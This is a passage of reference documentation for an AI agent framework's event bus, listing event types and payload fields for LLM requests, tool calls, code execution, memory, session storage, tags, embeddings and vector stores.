io.approval.request | ApprovalRequest | Approval needed for an action |
io.approval.response | ApprovalResponse | User responded to approval |
io.ask | AskUser | Agent asking user a question |
io.ask.response | AskUserResponse | User answered the question |
io.history.replay | HistoryReplay | Replaying conversation on resume |
io.session.start | SessionInfo | Session started |
io.session.end | (none) | Session ended |
Payloads
UserInput
| Field | Type | Description |
|---|---|---|
Content | string | Message text |
Files | []FileAttachment | Attached files |
SessionID | string | Current session |
FileAttachment
| Field | Type | Description |
|---|---|---|
Name | string | Filename |
MimeType | string | MIME type |
Data | []byte | File contents |
AgentOutput
| Field | Type | Description |
|---|---|---|
Content | string | Output text |
Role | string | "assistant", "system", or "tool" |
Metadata | map[string]any | Additional context |
TurnID | string | Associated turn |
OutputChunk
| Field | Type | Description |
|---|---|---|
Content | string | Chunk text |
TurnID | string | Associated turn |
Index | int | Chunk sequence number |
StatusUpdate
| Field | Type | Description |
|---|---|---|
State | string | "idle", "thinking", "tool_running", "streaming" |
Detail | string | Additional info |
ToolID | string | Tool being run (if applicable) |
ApprovalRequest
| Field | Type | Description |
|---|---|---|
PromptID | string | Unique identifier for this approval |
Description | string | What needs approval |
ToolCall | any | The tool call details |
Risk | string | "low", "medium", "high" |
ApprovalResponse
| Field | Type | Description |
|---|---|---|
PromptID | string | Matches the request |
Approved | bool | Whether approved |
Always | bool | Remember this decision |
AskUser
| Field | Type | Description |
|---|---|---|
PromptID | string | Unique identifier |
Question | string | The question text |
TurnID | string | Associated turn |
AskUserResponse
| Field | Type | Description |
|---|---|---|
PromptID | string | Matches the request |
Answer | string | User’s response |
Provider Events
| Event Type | Payload | Description |
|---|---|---|
provider.fallback | ProviderFallback | Provider switch due to failure |
provider.fanout.start | ProviderFanoutStart | Parallel fanout initiated |
provider.fanout.response | ProviderFanoutResponse | Individual provider responded |
provider.fanout.complete | ProviderFanoutComplete | All fanout responses collected |
Payloads
ProviderFallback
| Field | Type | Description |
|---|---|---|
Role | string | Model role being resolved |
FailedProvider | string | Plugin ID of the provider that failed |
FailedModel | string | Model that failed |
Error | string | Error description |
NextProvider | string | Plugin ID of the fallback provider |
NextModel | string | Model being tried next |
Attempt | int | 0-based index in the fallback chain |
ProviderFanoutStart
| Field | Type | Description |
|---|---|---|
FanoutID | string | Unique fanout sequence identifier |
Role | string | Model role being resolved |
Strategy | string | Selection strategy (all, llm_judge, heuristic, user) |
Targets | []ProviderFanoutTarget | Providers being dispatched to |
ProviderFanoutTarget
| Field | Type | Description |
|---|---|---|
Provider | string | Plugin ID |
Model | string | Model identifier |
ProviderFanoutResponse
| Field | Type | Description |
|---|---|---|
FanoutID | string | Fanout sequence identifier |
Provider | string | Plugin ID that responded |
Model | string | Model that responded |
Success | bool | false if provider errored or timed out |
Error | string | Non-empty on failure |
ProviderFanoutComplete
| Field | Type | Description |
|---|---|---|
FanoutID | string | Fanout sequence identifier |
Role | string | Model role |
Strategy | string | Selection strategy used |
Succeeded | int | Number of successful responses |
Failed | int | Number of errors or timeouts |
LLM Events
| Event Type | Payload | Description |
|---|---|---|
llm.request | LLMRequest | Request to an LLM provider |
llm.response | LLMResponse | Complete LLM response |
llm.stream.chunk | StreamChunk | Streaming response chunk |
llm.stream.end | StreamEnd | Streaming complete |
Payloads
LLMRequest
| Field | Type | Description |
|---|---|---|
Role | string | Model role name (resolved by provider) |
Model | string | Explicit model ID (optional, overrides role) |
Messages | []Message | Conversation messages |
Tools | []ToolDef | Available tools |
ToolChoice | *ToolChoice | Tool choice constraint (nil = provider default) |
ToolFilter | *ToolFilter | Tool include/exclude filter (nil = no filtering) |
ResponseFormat | *ResponseFormat | Structured output constraint (nil = no constraint) |
MaxTokens | int | Max response tokens |
Temperature | *float64 | Sampling temperature (nil = provider default) |
Stream | bool | Enable streaming |
Metadata | map[string]any | Additional context (e.g., _source for planner tagging) |
Message
| Field | Type | Description |
|---|---|---|
Role | string | "system", "user", "assistant", "tool" |
Content | string | Message text |
ToolCallID | string | For tool role: which call this responds to |
ToolCalls | []ToolCallRequest | For assistant role: tool calls made |
ToolCallRequest
| Field | Type | Description |
|---|---|---|
ID | string | Unique call identifier |
Name | string | Tool name |
Arguments | string | JSON-encoded arguments |
ToolDef
| Field | Type | Description |
|---|---|---|
Name | string | Tool name |
Description | string | What the tool does |
Parameters | string | JSON Schema for parameters |
ToolChoice
| Field | Type | Description |
|---|---|---|
Mode | string | "auto", "required", "none", "tool" |
Name | string | Tool name (only when Mode is "tool") |
ToolFilter
| Field | Type | Description |
|---|---|---|
Include | []string | Only these tools (empty = all). Takes precedence over Exclude |
Exclude | []string | Remove these tools |
ResponseFormat
| Field | Type | Description |
|---|---|---|
Type | string | "text", "json_object", or "json_schema" |
Name | string | Schema name (required by OpenAI for json_schema type) |
Schema | map[string]any | JSON Schema definition |
Strict | bool | Enforce strict schema adherence |
Metadata Conventions
Certain metadata keys carry special meaning:
| Key | On | Type | Description |
|---|---|---|---|
_source | LLMRequest / LLMResponse | string | Correlates retry requests with responses (used by gates) |
_expects_schema | LLMRequest | string | Schema name to attach via the schema registry |
_structured_output | LLMResponse | bool | true when provider enforced structured output (native or simulated) |
LLMResponse
| Field | Type | Description |
|---|---|---|
Content | string | Response text |
ToolCalls | []ToolCallRequest | Tool calls in the response |
Usage | Usage | Token usage statistics |
CostUSD | float64 | Provider-computed cost in USD for this request |
Model | string | Model that was used |
FinishReason | string | Why the response ended |
Metadata | map[string]any | Additional context |
Alternatives | []LLMResponse | Additional responses from parallel fanout providers (nil for non-fanout) |
Usage
| Field | Type | Description |
|---|---|---|
PromptTokens | int | Input tokens consumed |
CompletionTokens | int | Output tokens generated |
TotalTokens | int | Total tokens |
ReasoningTokens | int | Thinking / reasoning tokens (Gemini 2.5 thoughtTokenCount, etc.) |
CachedTokens | int | Tokens served from a prompt cache |
CacheWriteTokens | int | Tokens written into a prompt cache |
ModalityBreakdown | map[string]int | Per-modality token counts when the provider reports them. Lowercase keys: text, image, audio, video, document. Empty when the provider does not split modalities (Anthropic) or the request was text-only. Cost-attribution consumers read this to bill image / audio turns separately. |
Multimodal tool results
ToolResult carries an OutputParts []MessagePart field for tools that
emit multimodal content (image, audio, document, video). When non-empty,
memory plugins copy the parts onto the resulting tool-role
Message.Parts so the next LLM request includes the multimodal content
alongside (or in place of) Output.
Large payloads should be stored via pkg/engine/blobs and referenced via
MessagePart.URI = "nexus-blob:<sha256>" so the journal stays compact;
small payloads can ride inline as MessagePart.Data. Provider plugins
resolve nexus-blob: URIs at request-assembly time.
StreamChunk
| Field | Type | Description |
|---|---|---|
Content | string | Chunk text |
ToolCall | *ToolCallRequest | Partial tool call (if applicable) |
Index | int | Chunk sequence number |
TurnID | string | Associated turn |
StreamEnd
| Field | Type | Description |
|---|---|---|
TurnID | string | Associated turn |
Usage | Usage | Final token usage |
FinishReason | string | Why the stream ended |
Tool Events
| Event Type | Payload | Description |
|---|---|---|
tool.register | ToolDef | Tool available for use |
before:tool.invoke | ToolCall | Before tool execution (vetoable) |
tool.invoke | ToolCall | Tool invocation |
before:tool.result | ToolResult | Before tool result propagation (vetoable) |
tool.result | ToolResult | Tool execution result |
Payloads
ToolCall
| Field | Type | Description |
|---|---|---|
ID | string | Call identifier |
Name | string | Tool name |
Arguments | map[string]any | Parsed arguments |
TurnID | string | Associated turn |
ToolResult
| Field | Type | Description |
|---|---|---|
ID | string | Matches the call ID |
Name | string | Tool name |
Output | string | Human-readable result text (what the LLM sees) |
Error | string | Error message (if failed) |
OutputFile | string | Path to output file (optional) |
OutputData | []byte | Binary output data (optional) |
OutputStructured | map[string]any | Optional structured payload. When the tool’s ToolDef.OutputSchema is set, this should match that schema. Consumed by typed consumers like run_code’s bindings — Output stays freeform text for the LLM. |
TurnID | string | Associated turn |
ToolDef
| Field | Type | Description |
|---|---|---|
Name | string | Tool name the LLM will use |
Description | string | Description shown to the LLM |
Parameters | map[string]any | JSON Schema for inputs |
OutputSchema | map[string]any | Optional JSON Schema describing the shape of ToolResult.OutputStructured. When set, run_code generates a typed Go struct bound to this schema. |
Class / Subclass / Tags | string / []string | Semantic metadata for filtering |
Code Execution Events
Emitted by nexus.tool.code_exec alongside the standard tool.invoke/tool.result pair. Let other plugins observe programmatic tool-calling scripts without recomputing the run_code envelope from a tool result.
| Event Type | Payload | Description |
|---|---|---|
code.exec.request | CodeExecRequest | Script about to run; carries source, imports, active skills |
code.exec.stdout | CodeExecStdout | Incremental stdout chunk produced while the script runs; Final=true marks the last chunk |
code.exec.result | CodeExecResult | Script finished (success, compile error, runtime error, veto, or timeout) |
CodeExecRequest
| Field | Type | Description |
|---|---|---|
CallID | string | Matches the outer run_code tool call ID |
TurnID | string | Associated turn |
Script | string | Full Go source submitted by the LLM |
Imports | []string | Import paths referenced by the script |
Skills | []string | Names of currently-active skills whose helpers were staged |
CodeExecStdout
| Field | Type | Description |
|---|---|---|
CallID | string | Matches the outer run_code tool call ID |
TurnID | string | Associated turn |
Chunk | string | UTF-8 bytes written to stdout since the last emission; may contain newlines |
Final | bool | True for the closing chunk of this call; code.exec.result follows immediately after |
Truncated | bool | Only meaningful on the final chunk — true when total stdout exceeded max_output_bytes |
Chunks are flushed on every newline and on a ~512-byte threshold so long lines without newlines still reach the UI promptly. Consumers should concatenate Chunk values across events to reconstruct the full stdout stream; the final CodeExecResult.Output also carries the full aggregated string for non-streaming consumers.
CodeExecResult
| Field | Type | Description |
|---|---|---|
CallID | string | Matches the outer run_code tool call ID |
TurnID | string | Associated turn |
Output | string | Captured stdout (capped at max_output_bytes) |
Result | string | JSON-marshaled Run() return value |
Error | string | First error encountered (AST rejection, compile, runtime, timeout) |
Duration | int64 | Execution wall time in milliseconds |
Truncated | bool | Stdout was truncated by the output cap |
Agent Events
| Event Type | Payload | Description |
|---|---|---|
agent.turn.start | TurnInfo | Agent began processing |
agent.turn.end | TurnInfo | Agent finished processing |
agent.plan | Plan | Agent’s current plan |
agent.tool_choice | AgentToolChoice | Dynamic tool choice override |
Payloads
TurnInfo
| Field | Type | Description |
|---|---|---|
TurnID | string | Unique turn identifier |
Iteration | int | Current iteration count |
SessionID | string | Current session |
Plan
| Field | Type | Description |
|---|---|---|
Steps | []PlanStep | Plan steps |
TurnID | string | Associated turn |
PlanStep
| Field | Type | Description |
|---|---|---|
Description | string | What this step does |
Status | string | "pending", "active", "completed", "failed" |
AgentToolChoice
| Field | Type | Description |
|---|---|---|
Mode | string | "auto", "required", "none", "tool" |
ToolName | string | Tool name when Mode is "tool" |
Duration | string | "once" (next request only) or "sticky" (until replaced) |
Subagent Events
| Event Type | Payload | Description |
|---|---|---|
subagent.spawn | SubagentSpawn | Subagent creation requested |
subagent.started | SubagentStarted | Subagent began execution |
subagent.iteration | SubagentIteration | Subagent completed an iteration |
subagent.complete | SubagentComplete | Subagent finished |
Payloads
SubagentSpawn
| Field | Type | Description |
|---|---|---|
SpawnID | string | Unique spawn identifier |
Task | string | Task description |
SystemPrompt | string | Override system prompt |
Tools | []string | Available tools |
ModelRole | string | Model role |
ParentTurnID | string | Parent’s turn ID |
SubagentComplete
| Field | Type | Description |
|---|---|---|
SpawnID | string | Spawn identifier |
Result | string | Final result |
Error | string | Error (if failed) |
Iterations | int | Number of iterations used |
TokensUsed | Usage | Token consumption |
CostUSD | float64 | Accumulated cost in USD |
ParentTurnID | string | Parent’s turn ID |
Memory Events
| Event Type | Payload | Description |
|---|---|---|
memory.store | MemoryEntry | Store a memory entry |
memory.query | MemoryQuery | Query conversation history |
memory.result | MemoryResult | Query results |
memory.compaction.triggered | CompactionTriggered | Compaction started |
memory.compacted | CompactionComplete | Compaction finished |
Payloads
MemoryEntry
| Field | Type | Description |
|---|---|---|
Key | string | Entry identifier |
Content | string | Content to store |
Metadata | map[string]any | Additional context |
SessionID | string | Current session |
MemoryQuery
| Field | Type | Description |
|---|---|---|
Query | string | Search query (empty = all) |
Limit | int | Max results |
SessionID | string | Current session |
CompactionTriggered
| Field | Type | Description |
|---|---|---|
Reason | string | Why compaction triggered |
MessageCount | int | Messages before compaction |
BackupPath | string | Backup file location |
CompactionComplete
| Field | Type | Description |
|---|---|---|
Messages | []Message | New compacted message set |
BackupPath | string | Backup file location |
MessageCount | int | Messages after compaction |
PrevCount | int | Messages before compaction |
Long-Term Memory Events
| Event Type | Payload | Description |
|---|---|---|
memory.longterm.loaded | LongTermMemoryLoaded | Memory index injected into system prompt |
memory.longterm.store | LongTermMemoryStoreRequest | Write or update a memory entry |
memory.longterm.stored | LongTermMemoryStored | Write confirmed |
memory.longterm.read | LongTermMemoryReadRequest | Read a memory entry |
memory.longterm.result | LongTermMemoryReadResult | Read result |
memory.longterm.delete | LongTermMemoryDeleteRequest | Delete a memory entry |
memory.longterm.deleted | LongTermMemoryDeleted | Delete confirmed |
memory.longterm.list | LongTermMemoryQuery | List/filter memories |
memory.longterm.list.result | LongTermMemoryListResult | List result |
LongTermMemoryIndex
| Field | Type | Description |
|---|---|---|
Key | string | Memory key |
Preview | string | First line of content |
Tags | map[string]string | Key-value tags |
Updated | time.Time | Last update timestamp |
LongTermMemoryStoreRequest
| Field | Type | Description |
|---|---|---|
Key | string | Memory key |
Content | string | Markdown content |
Tags | map[string]string | Optional tags |
Plan Events
| Event Type | Payload | Description |
|---|---|---|
plan.request | PlanRequest | Request plan generation |
plan.result | PlanResult | Plan generated |
plan.created | PlanResult | Plan ready for display |
plan.approval.request | (plan data) | User approval needed |
plan.approval.response | (approval) | User responded |
plan.progress | PlanProgress | Step status updated |
Payloads
PlanRequest
| Field | Type | Description |
|---|---|---|
TurnID | string | Associated turn |
SessionID | string | Current session |
Input | string | User’s original input |
PlanResult
| Field | Type | Description |
|---|---|---|
TurnID | string | Associated turn |
PlanID | string | Unique plan identifier |
Steps | []PlanResultStep | Plan steps |
Summary | string | Plan summary |
Approved | bool | Whether approved |
Source | string | "dynamic" or "static" |
PlanResultStep
| Field | Type | Description |
|---|---|---|
ID | string | Step identifier |
Description | string | What this step does |
Instructions | string | Detailed instructions (optional) |
Status | string | Current status |
Order | int | Execution order |
PlanProgress
| Field | Type | Description |
|---|---|---|
TurnID | string | Associated turn |
PlanID | string | Plan identifier |
StepID | string | Step being updated |
Status | string | New status |
Detail | string | Additional info |
Skill Events
| Event Type | Payload | Description |
|---|---|---|
skill.discover | SkillCatalog | Skills catalog assembled |
skill.activate | SkillActivation | Skill activation requested |
before:skill.activate | SkillActivation | Before activation (vetoable) |
skill.loaded | SkillContent | Skill content loaded |
skill.deactivate | SkillRef | Skill deactivation requested |
skill.resource.read | SkillResourceReq | Resource file requested |
skill.resource.result | SkillResourceData | Resource content returned |
Payloads
SkillCatalog
| Field | Type | Description |
|---|---|---|
Skills | []SkillSummary | All discovered skills |
SkillSummary
| Field | Type | Description |
|---|---|---|
Name | string | Skill name |
Description | string | What the skill does |
Location | string | Directory path |
Scope | string | "project", "user", "builtin", "config" |
SkillContent
| Field | Type | Description |
|---|---|---|
Name | string | Skill name |
Body | string | Markdown content |
Resources | []string | Available resource files |
Scope | string | Skill scope |
BaseDir | string | Skill directory |
Schema Events
| Event Type | Payload | Description |
|---|---|---|
schema.register | SchemaRegistration | Register an output schema with the registry |
schema.deregister | SchemaDeregistration | Remove a schema from the registry |
Payloads
SchemaRegistration
| Field | Type | Description |
|---|---|---|
Name | string | Schema name (e.g. "skill.code_review.output") |
Schema | map[string]any | JSON Schema definition |
Source | string | Plugin ID that registered it |
SchemaDeregistration
| Field | Type | Description |
|---|---|---|
Name | string | Schema name to remove |
Source | string | Plugin ID that registered it |
Session Events
| Event Type | Payload | Description |
|---|---|---|
session.file.created | map (see below) | A file appeared in the session tree |
session.file.updated | map (see below) | An existing file in the session tree changed |
session.snapshot.request | SessionSnapshotRequest | Ask the engine to snapshot the session tree to the object store |
session.snapshot.result | SessionSnapshotResult | Outcome of one whole-tree snapshot |
session.owner.conflict | SessionOwnerConflict | A second host appears to hold this session — detection only, nothing is refused |
session.storage.degraded | SessionStorageDegraded | The object store stopped accepting this session’s state; the engine is running against the local working copy and retrying |
session.storage.recovered | SessionStorageRecovered | The backlog drained and the session is durably stored again |
before:session.tag.set | SessionTagSetRequest (vetoable) | Request to write one key/value pair into SessionMeta.Labels |
before:session.tag.delete | SessionTagDeleteRequest (vetoable) | Request to remove one key from SessionMeta.Labels |
session.tag.set | SessionTagSet | A session label was written, by either the general (bus) path or the reserved (direct-Go-call) path |
session.tag.deleted | SessionTagDeleted | A session label was removed, by either path |
The five object-store rows exist only when core.object_store.backend names a
backend. With none configured — the default — nothing subscribes, a
session.snapshot.request is inert, and none of the other four is ever
emitted. See Object Storage. The four session
tag events are independent of the object store and always active — see
Session Tag Events below.
session.file.created / session.file.updated payload
Emitted as a map[string]any, not as the events.SessionFile struct, because every
subscriber type-asserts a map. The struct is nonetheless the definition of the shape:
the payload is built by events.SessionFile.Map, so renaming or retyping a field
trips make check-events, and adding one without a wire key fails its own test.
Before that the struct was declared and unused, and this payload was guarded by
nothing at all.
| Key | Type | Description |
|---|---|---|
_schema_version | int | events.SessionFileVersion — 2. A payload journaled before the struct became the definition has no such key, which the v0 == v1 rule in pkg/events/compat covers; the other five keys are unchanged, so no migrator is registered |
session_id | string | Session the file belongs to |
path | string | Path relative to the session root, always slash-separated |
size | int | Size of the file in bytes after the write — not the size of the change |
offset | int | Byte offset at which the change begins |
bytes_added | int | Number of bytes written at offset |
The three counts are Go int, not int64. That is the type that has always been on
the wire and subscribers assert it directly, so widening the struct field would turn
every one of those assertions into a silent zero.
There is deliberately no action key. The action is the event type, and a copy of it
in the payload is a second source of truth that can disagree with the first — which is
what nexus.tool.pdf did, reporting every update as a creation.
Which event fires is decided by whether the path existed before the write, so a
subscriber can rely on seeing exactly one created per path per session.
Who emits it. SessionWorkspace.WriteFile, AppendFile and SaveMeta, plus the
two announcement helpers AnnounceWrite / AnnounceAppend that writers holding their
own os.* call use — today nexus.scene (its state file and patch journal),
nexus.workflows.icm (stage artifacts and copied inputs), nexus.tool.fileio
(write_file) and the desktop matcher plugin. Every one of them publishes the
session-relative path, so it can be used directly as an object key. nexus.tool.pdf used to emit a second, hand-built
event beside the one WriteFile already produced, carrying the bare basename and no
delta; it was removed rather than reconciled, and the plugin no longer emits
session.file.* at all.
Writers that deliberately stay silent — the journal, the tool cache, the blob store, per-plugin SQLite and the session lock among them — each have a recorded reason. See Sessions.
The append-aware delta. offset and bytes_added together say that the region
[offset, offset+bytes_added) is the only part of the object that changed:
| Shape | Meaning |
|---|---|
offset == 0 && bytes_added == size | The whole object is new. Every WriteFile, and the first append that creates a file. |
offset > 0 && offset + bytes_added == size | A pure append. Every byte before offset is byte-identical to what the last event for this path described. |
They were added to this payload rather than introduced as a separate
session.file.appended event: a new type would have carried the same three numbers,
cost every existing subscriber a change just to keep seeing appends, and — because
context/conversation.jsonl is written by both WriteFile and AppendFile — forced
each of them to merge two streams to reconstruct one file’s history. New map keys are
also invisible to subscribers that do not read them.
Object stores have no append primitive. These keys do not let a sync backend write
appended bytes into an existing object; S3, GCS and every S3-compatible store replace
whole objects. What they buy is the freedom to coalesce and defer — collapse a run of
tail appends into one upload of the current file at the next boundary, knowing no
rewrite was missed in between. offset is not a seek position in the bucket.
If the offset cannot be determined, offset is reported as 0, which reads as a whole
-object change: a backend then re-uploads a file it could have coalesced, rather than
coalescing a change it should have treated as a rewrite.
Who emits them
| Emitter | Covers |
|---|---|
SessionWorkspace.WriteFile | Whole-file writes: config snapshot, plugin manifest, memory rewrites, tool output |
SessionWorkspace.AppendFile | Appends: context/conversation.jsonl, metadata/timing.jsonl, compaction output, shell history, the HITL cache |
SessionWorkspace.SaveMeta | metadata/session.json — rewritten on every llm.response and every agent.turn.end |
SessionWorkspace.AnnounceWrite / AnnounceAppend | Writers holding their own os.* call: nexus.scene, nexus.workflows.icm, nexus.tool.fileio, and the desktop matcher plugin |
Every emitter goes through one of those five entry points, so every payload on the
wire is built in one place. Two hand-built emitters that were not — nexus.tool.pdf
and cmd/desktop/internal/matcher — published malformed events (a bare basename as
path, an absolute host path, missing session_id, no delta keys); the first was
removed and the second was routed through AnnounceWrite. Because the payload is an
untyped map, a subscriber should still treat offset and bytes_added as optional
and fall back to “the whole object changed” when they are absent — which is the same
conservative reading offset == 0 already asks for.
AppendFile deliberately reuses the same two event types rather than introducing an
append-specific one, so every existing subscriber sees appends without being changed.
The events say this path changed, and here is which part of it changed; they never
carry the changed bytes themselves.
Two moments are deliberately silent. Creating or loading a session workspace writes
metadata/session.json without emitting, because that happens before the journal writer
subscribes to the bus and an event there would consume a dispatch sequence number the
journal never receives — which stalls its writer permanently. Engine.StartSession
re-saves the metadata once the journal is running, so the file is still announced.
SessionSnapshotRequest
| Field | Type | Description |
|---|---|---|
Reason | string | Free-form; appears in the log line and in the result |
SessionSnapshotResult
| Field | Type | Description |
|---|---|---|
SessionID | string | Session that was snapshotted |
Trigger | string | "turn", "shutdown", "request" or "retry" |
Sequence | uint64 | Per-run snapshot counter, starting at 1 |
Generation | uint64 | The session’s commit generation. Unlike Sequence it is seeded from the manifest the previous holder committed, so it keeps increasing across a resume onto a different host. It is the stamp the commit marker and the per-object manifest in the bucket both carry. Zero when a snapshot failed before claiming one |
TurnID | string | Turn whose boundary triggered it; empty otherwise |
Objects | int | Size of the committed object set — everything the snapshot asserts is durably present, excluding the commit marker and the manifest. Includes objects immutable-skip did not re-upload, and it is exactly the set the per-object manifest names |
Bytes | int64 | Total size of those objects — how big the stored session is |
ObjectsUploaded | int | The share of that set this snapshot actually transferred |
BytesUploaded | int64 | Their total size. This, not Bytes, is the per-turn cost |
ObjectsSkipped | int | Files whose identity proves they cannot have changed (sealed journal segments, content-addressed blobs) and that a listing confirmed the store already holds |
BytesSkipped | int64 | Their total size — what immutable-skip saved |
DurationMs | float64 | Wall time of the whole snapshot |
OK | bool | Whether the snapshot was made durable |
ErrorMessage | string | Empty on success |
Both events exist only when core.object_store.backend names a
backend; with none configured nothing subscribes and a request is inert.
SessionOwnerConflict
| Field | Type | Description |
|---|---|---|
SessionID | string | Session both hosts appear to be writing |
HolderHost | string | Hostname recorded in the owner marker found in the store |
HolderPID | int | The holder’s OS process ID. Only meaningful together with HolderHost |
HolderInstanceID | string | Unique per engine run — what tells two containers sharing a hostname and a PID apart |
HolderHeartbeatAt | time.Time | The holder’s last heartbeat, by the holder’s own clock |
HeartbeatAgeSeconds | float64 | How old that heartbeat looked from here — the number the staleness decision was made on |
LocalHost | string | This process’s hostname |
LocalPID | int | This process’s PID |
LocalInstanceID | string | This run’s instance ID |
Emitted at most once per run, during Boot, and only when
core.object_store.backend names a backend. Detection, not prevention: by the
time it is emitted the engine has already claimed the session and is running
normally. No lock is taken, no fencing token is issued, nothing is refused and
nothing waits. A subscriber that wants to act — page an operator, stop the run —
has to do so itself. See
Sessions → Two hosts, one session.
SessionStorageDegraded
| Field | Type | Description |
|---|---|---|
SessionID | string | Session whose state could not be stored |
Backend | string | Registered backend name from core.object_store.backend |
FailurePolicy | string | Resolved core.object_store.failure_policy: degrade or strict |
Since | time.Time | When the outage began — the first failure, not this event |
ConsecutiveFailures | uint64 | Persistence failures so far in this outage |
QueuedPushes | int | Depth of the bounded retry queue (capacity 256) |
DroppedPushes | uint64 | Pushes discarded on queue overflow — escalated to a whole-tree snapshot, not lost |
SnapshotPending | bool | A whole-tree snapshot is owed: the backstop that covers anything the queue could not |
TurnsBlocked | bool | Further io.input is being refused. Only ever true under failure_policy: strict |
Error | string | The most recent failure’s message |
SessionStorageRecovered
| Field | Type | Description |
|---|---|---|
SessionID | string | Session that is durably stored again |
Backend | string | Registered backend name |
FailurePolicy | string | Resolved failure policy |
DegradedForSeconds | float64 | Wall time from the first failure to recovery |
Failures | uint64 | Persistence failures the outage saw in total |
RetryAttempts | uint64 | Backoff attempts the recovery worker made. Zero when an ordinary turn-boundary snapshot healed it first |
DrainedPushes | uint64 | Deferred pushes the retries got through |
DroppedPushes | uint64 | Pushes discarded on overflow and covered by a snapshot instead |
The two pair: exactly one session.storage.degraded per outage and one
session.storage.recovered when it ends, so a subscriber counts outages rather
than failed requests. Neither is emitted when core.object_store.backend is
empty.
Under degrade the session keeps taking turns while degraded. The honest
caveat is that the durability guarantee is not being met for as long as the
outage lasts, even though nothing is failing.
Under strict TurnsBlocked is true and every subsequent io.input is
vetoed until the state is stored. The turn that hit the outage already ran —
its output was streamed, its tools executed — and the engine cannot un-run it.
What strict guarantees is that no further turn runs against unstored state.
Recovery is automatic under both policies; see Configuration → Failure
policy.
The engine snapshots at every agent.turn.end on its own, so nothing needs to
emit session.snapshot.request in a normal run — it is the escape hatch for
embedders driving the engine outside an agent loop, and for custom agents that
emit no turn events. Snapshotting is handled in core and never depends on plugin
cooperation. See
Sessions → Turn-boundary snapshots.
Session Tag Events
SessionMeta.Labels — the session’s key/value tag store — is split into two
disjoint namespaces: reserved keys (starting with _) and general keys
(everything else). Only general keys are reachable through the two
before:* events below; a reserved key is rejected unconditionally,
regardless of caller. See Session Tags
for the full mechanism.
SessionTagSetRequest — payload of before:session.tag.set
| Field | Type | Description |
|---|---|---|
Key | string | The label key to write |
Value | string | The label value |
SessionTagDeleteRequest — payload of before:session.tag.delete
| Field | Type | Description |
|---|---|---|
Key | string | The label key to remove |
Both ride the bus as the struct itself (via VetoablePayload.Original), not
as a hand-spelled map — the same shape before:llm.request uses. The single
handler for both lives in the core engine: it vetoes unconditionally when
Key matches the reserved namespace (engine.IsReservedLabelKey), with a
VetoResult.Reason naming the rejection, and otherwise applies the write
immediately and fires the matching announce event below. There is no second
“apply” step after the veto check passes — the request event doubles as the
trigger, because the core engine is the only thing that knows how to mutate
SessionMeta.Labels safely.
SessionTagSet — payload of session.tag.set
| Field | Type | Description |
|---|---|---|
SessionID | string | Session the label belongs to |
Key | string | The label key that was written |
Value | string | The label value that was written |
SessionTagDeleted — payload of session.tag.deleted
| Field | Type | Description |
|---|---|---|
SessionID | string | Session the label belonged to |
Key | string | The label key that was removed |
Both announce events fire from every successful write, whichever path
produced it: the vetoable general path above, or the reserved-namespace
direct-Go-call path (SessionWorkspace.SetReservedLabel /
DeleteReservedLabel, e.g. nexus.io.agui’s _principal_id identity
binding), which never touches the bus at all. A subscriber that only cares
“this session’s tags changed” needs only these two event types regardless of
which path wrote the label. SessionTagDeleted is also the end-of-run
signal for nexus.io.agui’s identity binding: a transport that set
_principal_id on run start deletes it on run end.
Unlike the object-store events above, all four session tag events are always
active — they do not depend on core.object_store.backend.
Cancellation Events
| Event Type | Payload | Description |
|---|---|---|
cancel.request | CancelRequest | User requested cancellation |
cancel.active | CancelActive | Cancellation broadcast |
cancel.complete | CancelComplete | Cancellation processed |
cancel.resume | CancelResume | Resume after cancellation |
CancelRequest
| Field | Type | Description |
|---|---|---|
TurnID | string | Turn to cancel |
Source | string | Who requested: "tui", "browser", etc. |
Embeddings Events
| Event Type | Payload | Description |
|---|---|---|
embeddings.request | *EmbeddingsRequest | Embed a batch of texts. Pointer-fill — provider mutates in place. |
Payloads
EmbeddingsRequest
| Field | Type | Description |
|---|---|---|
Texts | []string | Batch of strings to embed (input). Used when Inputs is empty — back-compat with text-only adapters. |
Inputs | []EmbeddingsInput | Polymorphic batch (text + image inputs) for multimodal-aware providers. When non-empty, providers consume Inputs and ignore Texts. |
Model | string | Requested model; provider may echo back actual model used. |
Dimensions | int | Optional truncation hint. Zero = provider default. |
Vectors | [][]float32 | Result vectors, in input order (output). |
Provider | string | Plugin ID of the adapter that answered (output). |
Usage | EmbeddingsUsage | Token usage when reported by the provider (output). |
Error | string | Non-empty on failure (output). |
EmbeddingsInput
| Field | Type | Description |
|---|---|---|
Text | string | Text snippet. Mutually exclusive with Image and ImageURI. |
Image | []byte | Inline image bytes. Mutually exclusive with Text and ImageURI. Requires MimeType. |
ImageURI | string | Image reference: nexus-blob:<sha> (engine blob store) or external URL. Mutually exclusive with Text and Image. |
MimeType | string | IANA media type (e.g. image/png). Required when Image is set; recommended for ImageURI. |
Adapters that don’t support image inputs must return a clear error when
they encounter an image-bearing input rather than silently downgrading.
See nexus.embeddings.cohere_multimodal for a multimodal-aware reference
adapter.
EmbeddingsUsage
| Field | Type | Description |
|---|---|---|
PromptTokens | int | Tokens consumed by the input. |
TotalTokens | int | Total billable tokens. |
Vector Store Events
| Event Type | Payload | Description |
|---|---|---|
vector.upsert | *VectorUpsert | Insert or replace docs in a namespace. |
vector.query | *VectorQuery | Nearest-neighbor lookup in a namespace. |
vector.delete | *VectorDelete | Remove docs by ID. |
vector.namespace.drop | *VectorNamespaceDrop | Remove an entire namespace (idempotent). |
All four are pointer-fill — adapter sets Provider / Error (and Matches on query) in place.
Payloads
VectorDoc
| Field | Type | Description |
|---|---|---|
ID | string | Stable identifier; upsert replaces by ID. |
Vector | []float32 | Embedding. Adapters may require unit-normalized. |
Content | string | Original text (optional but typically stored for re-ranking / display). |
Metadata | map[string]string | String-keyed metadata. |
VectorMatch
| Field | Type | Description |
|---|---|---|
ID | string | Doc ID. |
Content | string | Doc content. |
Metadata | map[string]string | Doc metadata. |
Similarity | float32 | Cosine similarity in [-1, 1]. |
VectorUpsert
| Field | Type | Description |
|---|---|---|
Namespace | string | Target namespace (input). |
Docs | []VectorDoc | Docs to upsert (input). |
Provider | string | Adapter plugin ID (output). |
Error | string | Non-empty on failure (output). |
VectorQuery
| Field | Type | Description |
|---|---|---|
Namespace | string | Target namespace (input). |
Vector | []float32 | Query vector (input). |
K | int | Max results (input). |
Filter | map[string]string | Exact-match metadata filter (input, optional). |
Matches | []VectorMatch | Hits sorted by similarity desc (output). |
Provider | string | Adapter plugin ID (output). |
Error | string | Non-empty on failure (output). |
VectorDelete
| Field | Type | Description |
|---|---|---|
Namespace | string | Target namespace (input). |
